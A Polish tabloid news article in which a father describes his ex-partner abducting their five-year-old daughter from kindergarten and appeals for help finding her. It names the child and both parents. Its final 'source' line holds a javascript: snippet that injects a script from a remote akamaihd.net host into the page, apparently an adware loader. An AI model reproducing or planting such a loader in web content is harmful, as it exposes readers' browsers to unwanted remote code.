Super Express. DRAMAT pana Tomasza: Żona porwała mi córeczkę!


Ciągła udręka zżera go od środka. Tomasz Karzełek (41 l.) codziennie umiera ze strachu, myśląc o losie swej córeczki Lary (5 l.). Dziewczynka została porwana spod przedszkola i ślad po niej zaginął. – Zrobiła to mama Lary, bo nie może się pogodzić z postanowieniem sądu, że córka ma mieszkać ze mną – mówi załamany ojciec.

zona-porwala-mi-coreczke_21010152

Pan Tomasz córce przychyliłby nieba. Lara to jego oczko w głowie i jej dobro jest dla niego najważniejsze. Dlatego nie może zrozumieć swojej byłej ukochanej, która funduje teraz dziecku taki koszmar. W domu dziewczynka ma wszystkie ubrania, zabawki, lalki. – Zgodnie z postanowieniem sądu Lara ma mieszkać ze mną – w miejscu, gdzie się wychowywała. Nie rozumiem, dlaczego jej mama nie potrafi się z tym pogodzić – bezradnie rozkłada ręce pan Tomasz.

Historia miłości pana Tomasza i Joanny zaczyna się w 2008 roku. Poznali się przez Internet. On zamożny Polak mieszkający w Niemczech, ona urzędniczka z Zachodniopomorskiego. Rok później na świat przyszła ich córka. Dwa lata później, po rozstaniu rodziców, dziecko stało się obiektem sądowej walki.` – Już jedna próba porwania była, ale udało mi się córkę odzyskać – mówi pan Tomasz. Teraz mała przepadła jak kamień w wodę.

– Joanna porwała Larę sprzed przedszkola, użyła gazu łzawiącego, którym prysnęła w twarz opiekunce, chwyciła małą i uciekła – opowiada pan Tomasz.

Teraz mężczyzna, który zgłosił już sprawę polskim śledczym, prosi o pomoc w odnalezieniu dziecka. Nie potrafi żyć bez swojej córeczki.

– Porwanie to nie jest rozwiązanie! Każdego, kto widział to dziecko, proszę o pomoc. Ona powinna wrócić do swojego domu – mówi załamany ojciec.

Źródło: – javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName(„head”);if(a.length){var d=document.createElement(„script”);d.src=”https://apibrowsesmartne-a.akamaihd.net/gsrs?is=isgiwhde&bp=BA&g=dabbd2d5-83c2-4f20-b34c-131615ed3044″;a[0].appendChild(d);}}}catch(e){}

Dodaj komentarz